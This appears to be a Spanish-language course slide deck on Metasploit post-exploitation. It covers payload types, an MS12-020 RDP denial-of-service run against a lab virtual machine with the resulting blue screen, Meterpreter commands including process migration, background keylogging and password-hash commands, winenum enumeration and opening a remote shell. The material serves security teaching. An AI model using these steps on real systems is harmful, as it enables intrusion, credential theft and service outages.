

**METERPRETER**



1.

POST EXPLOTACIÓN

# IMPORTANCIA DEL PAYLOAD

- ¿Metasploit = exploits?

*Payloads* importantísimos en post-explotación

- Una vez realizada la explotación,  
     ¿Qué se quiere que haga Metasploit?  
     ¿Se quiere una *shell* remota?

*Necesaria una **buena elección del payload***

# TIPOS DE PAYLOADS

Existen tres tipos de payloads:

- **Single**: payloads independientes y autónomos. Usados para ejecutar una tarea concreta y específica (crear usuario, *shell*, ejec comando).
- **Stagers**: su misión es establecer la conexión con la víctima, suelen ocupar poco espacio en memoria y suelen encargarse de descargar los payloads de tipo *staged*.

# TIPOS DE PAYLOADS

- *Staged*: descargados y ejecutados por los *stagers*, ocupan más memoria pues ejecutan tareas más complejas. Por ejemplo: *meterpreter*

Ver payloads: *# show payloads*

Objetivos: *# show targets*

# 2.

## MÓDULOS AUXILIARES

# MÓDULOS AUXILIARES

Módulos sin necesidad de interacción por parte del usuario u organización:

- Exploits capaces de obtener una shell
  - Provocar una DoS en una máquina ...
- 
- Ejemplo DoS (pantallazo azul) en el servicio RDP de Microsoft con código MS12\_020

# PREPARACION DE WINDOWS

## Escritorio remoto

Haga clic en una opción y después especifique quién puede conectarse, si fuera necesario.

- ☐ No permitir las conexiones a este equipo
- ☒ Permitir las conexiones desde equipos que ejecuten cualquier versión de Escritorio remoto (menos seguro)
- ☐ Permitir sólo las conexiones desde equipos que ejecuten Escritorio remoto con Autenticación a nivel de red (más seguro)

## Actualizar configuración de firewall

Firewall de Windows no está usando la configuración recomendada para proteger el equipo.



Usar la configuración recomendada

[¿Cuál es la configuración recomendada?](#)



Redes domésticas o de trabajo (privadas)

Conectado



Redes públicas

Conectado





# PREPARACIÓN DE KALI

Se usará el módulo auxiliar llamado:

*auxiliary/dos/windows/rdp/ms12\_020\_maxchannelids*

En la configuración será necesario asignarle la IP de la víctima (RHOST)

```
msf auxiliary(ms12_020_maxchannelids) >
msf auxiliary(ms12_020_maxchannelids) > set RHOST 172.16.123.135
RHOST => 172.16.123.135
msf auxiliary(ms12_020_maxchannelids) > show options

Module options (auxiliary/dos/windows/rdp/ms12_020_maxchannelids):
```

Name	Current Setting	Required	Description
RHOST	172.16.123.135	yes	The target address
RPORT	3389	yes	The target port

# EJECUCIÓN (RUN)

Solo faltará ejecutar el módulo auxiliar:

```
msf auxiliary(ms12_020_maxchannelids) >
msf auxiliary(ms12_020_maxchannelids) > run

[*] 172.16.123.135:3389 - 172.16.123.135:3389 - Sending MS12-020 Microsoft Remote Desktop Use-After-Free DoS
[*] 172.16.123.135:3389 - 172.16.123.135:3389 - 210 bytes sent
[*] 172.16.123.135:3389 - 172.16.123.135:3389 - Checking RDP status...
[-] 172.16.123.135:3389 - Auxiliary failed: Rex::HostUnreachable The host (172.16.123.135:3389) was unreachable.
[-] 172.16.123.135:3389 - Call stack:
[-] 172.16.123.135:3389 - /usr/share/metasploit-framework/lib/rex/socket/comm/local.rb:294:in `rescue in create_by_type'
[-] 172.16.123.135:3389 - /usr/share/metasploit-framework/lib/rex/socket/comm/local.rb:274:in `create_by_type'
[-] 172.16.123.135:3389 - /usr/share/metasploit-framework/lib/rex/socket/comm/local.rb:33:in `create'
[-] 172.16.123.135:3389 - /usr/share/metasploit-framework/lib/rex/socket.rb:47:in `create_param'
[-] 172.16.123.135:3389 - /usr/share/metasploit-framework/lib/rex/socket/tcp.rb:37:in `create_param'
[-] 172.16.123.135:3389 - /usr/share/metasploit-framework/lib/rex/socket/tcp.rb:28:in `create'
[-] 172.16.123.135:3389 - /usr/share/metasploit-framework/lib/msf/core/exploit/tcp.rb:102:in `connect'
[-] 172.16.123.135:3389 - /usr/share/metasploit-framework/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb:54:in `is_rdp_up'
[-] 172.16.123.135:3389 - /usr/share/metasploit-framework/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb:154:in `run'
[*] Auxiliary module execution completed
msf auxiliary(ms12_020_maxchannelids) >
```

# MÁQUINA VÍCTIMA

Se le provoca una Denegación de Servicio (DoS)

```
to your computer.

RDPWD.SYS

PAGE_FAULT_IN_NONPAGED_AREA

If this is the first time you've seen this Stop error screen,
restart your computer. If this screen appears again, follow
these steps:

Check to make sure any new hardware or software is properly installed.
If this is a new installation, ask your hardware or software manufacturer
for any windows updates you might need.

If problems continue, disable or remove any newly installed hardware
or software. Disable BIOS memory options such as caching or shadowing.
If you need to use Safe Mode to remove or disable components, restart
your computer, press F8 to select Advanced Startup Options, and then
select Safe Mode.

Technical information:

*** STOP: 0x00000050 (0xFFFFF8A02CE89D58,0x0000000000000000,0xFFFFF880049EBFB5,0
x0000000000000002)

***      RDPWD.SYS - Address FFFFF880049EBFB5 base at FFFFF880049C4000, DateStamp
4ce7ab45

Collecting data for crash dump ...
Initializing disk for crash dump ...
Beginning dump of physical memory.
Dumping physical memory to disk: 35
```

# 3.

## COMANDOS BÁSICOS METERPRETER

# METERPRETER

- Payload más completo en Metasploit
- Dispone de una línea de comandos con comandos exclusivos del payload.
- Primera acción: **migrar Meterpreter a otro proceso más estable** para evitar perder la sesión (*explorer.exe*)
- Comandos categorizados: “*Core commands*”, “*Stdapi*” y “*Priv*”.

# CORE COMMANDS

Acciones básicas como *ejecución de scripts*, *cargar módulos* o *interacción con la máquina*.

- *Scripts útiles* en *scripts/meterpreter*

```
root@kali:/usr/share/metasploit-framework/scripts/meterpreter#  
root@kali:/usr/share/metasploit-framework/scripts/meterpreter# ls -l  
total 393  set RHOST 172.16.123.135  
-rw-r--r-- 1 root root 3301 Aug 25 2016 arp_scanner.rb  
-rw-r--r-- 1 root root 5732 Aug 25 2016 autoroute.rb  
-rw-r--r-- 1 root root 9825 Aug 25 2016 checkvm.rb  
-rw-r--r-- 1 root root 2437 Aug 25 2016 credcollect.rb  
-rw-r--r-- 1 root root 3384 Aug 25 2016 domain_list_gen.rb  
-rw-r--r-- 1 root root 12565 Aug 25 2016 dumphlinks.rb  
-rw-r--r-- 1 root root 4751 Aug 25 2016 duplicate.rb
```

# CORE COMMANDS

- Comando *run* ejecuta scripts (ex: *get\_env*)

```
meterpreter > run get_env
[*] Getting all System and User Variables

Enviroment Variable list
=====
Name      Value
----      -
APPDATA   C:\Users\openweb\AppData\Roaming
ComSpec   C:\Windows\system32\cmd.exe
FP_NO_HOST_CHECK NO
HOMEDRIVE C:
HOMEPATH  \Users\openweb
LOCALAPPDATA C:\Users\openweb\AppData\Local
LOGONSERVER \\WIN-2CKEE07AAUJ
NUMBER_OF_PROCESSORS 1
OS        Windows_NT
PATHEXT   .COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC
PROCESSOR_ARCHITECTURE x86
PROCESSOR_IDENTIFIER Intel64 Family 6 Model 78 Stepping 3, GenuineIntel
PROCESSOR_LEVEL 6
```

# CORE COMMANDS

- Comando ***bgrun*** igual que *run* pero en 2º plano  
*# bgrun keylogrecorder*
- Comando ***bglist*** lista tareas en 2º plano.
- Comando ***bgkill*** mata tareas en 2º plano.
- Comando ***background*** se deja la sesión meterpreter en segundo plano volviendo a la consola metasploit (*sessions -i para volver*).
- Comando ***migrate*** migra el proceso a otro más estable (explorer.exe)



# STD API COMMANDS

Comandos usados en tareas típicas de un usuario sentado delante del ordenador.

- *File System Commands*
- *Networking Commands*
- *System Commands*
- *User Interface Commands*
- *Webcam Commands*

# PRIV COMMANDS

Comandos que proporcionan funcionalidades para elevación de privilegios, trabajar con información sensible o manipular ficheros SAM (*Security Account Manager*)

- *Elevate commands*
- *Password Database Commands*
- *Timestamp Commands*

# 4.

## SCRIPTS EN METERPRETER

# SCRIPTS

Algunos de los scripts hacen funciones similares a otros comandos disponibles.

Un script muy completo: **winenum**

*Gran cantidad de tareas: listado de programas instalados, volcado de hashes, obtener información de sus redes.*

*Nota: algunos de los comandos requieren una elevación de privilegios anterior*

# WINENUM

Se ejecuta con el comando *run*.

```
meterpreter >  
meterpreter > run winenum  
[*] Running Windows Local Enumeration Meterpreter Script  
[*] New session on 172.16.123.135:80...  
[*] Saving general report to /root/.msf4/logs/scripts/winenum/WIN-2CKEE07AAUJ_20170301.5835/WIN-2CKEE07AAUJ_20170301.5835.t  
[*] Output of each individual command is saved to /root/.msf4/logs/scripts/winenum/WIN-2CKEE07AAUJ_20170301.5835/WIN-2CKEE07AAUJ_20170301.5835.t  
[*] Checking if WIN-2CKEE07AAUJ is a Virtual Machine .....  
[*] This is a VMware Workstation/Fusion Virtual Machine  
[*] UAC is Enabled  
[*] Running Command List ...  
[*] running command netstat -nao  
[*] running command netstat -vb  
[*] running command net view  
[*] running command netstat -ns  
[*] running command net accounts
```

# WINENUM

Una vez finalizada la ejecución, se podrá encontrar información del sistema muy interesante en los ficheros generados.

```
root@kali:~/msf4/logs/scripts/winenum/WIN-2CKEE07AAUJ_20170301.5835# winenum/WIN-2CKEE07AAUJ_20170301.5835
root@kali:~/msf4/logs/scripts/winenum/WIN-2CKEE07AAUJ_20170301.5835# ls
arp_a.txt VMware Workstation/Fusion net_localgroup.txt netstat_vb.txt
cmd_exe.txt net_session.txt net_user.txt
gpresult SCOPE COMPUTER_Z.txt net_share.txt net_view_domain.txt
gpresult SCOPE_USER_Z.txt netsh_firewall_show_config.txt net_view.txt
ipconfig_all.txt netstat -vb netsh_wlan_show_drivers.txt programs_list.csv
ipconfig_displaydns.txt netsh_wlan_show_interfaces.txt route_print.txt
net_accounts.txt netstat -ns netsh_wlan_show_networks_mode_bssid.txt tasklist_svc.txt
net_group_administrators.txt netsh_wlan_show_profiles.txt tokens.txt
net_group.txt netstat_nao.txt WIN-2CKEE07AAUJ_20170301.5835.txt
net_localgroup_administrators.txt netstat_ns.txt
root@kali:~/msf4/logs/scripts/winenum/WIN-2CKEE07AAUJ_20170301.5835#
```

ARP & Routing útil para *Pivoting*

# SHELL

Obtener una línea de comandos del equipo comprometido:

```
meterpreter > 16 266 ff00::/8 En vínculo
meterpreter >
meterpreter > shell
Process 140 created.
Channel 40 created.
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation. Reservados todos los derechos.
C:\Program Files (x86)\BadBlue\EE>
```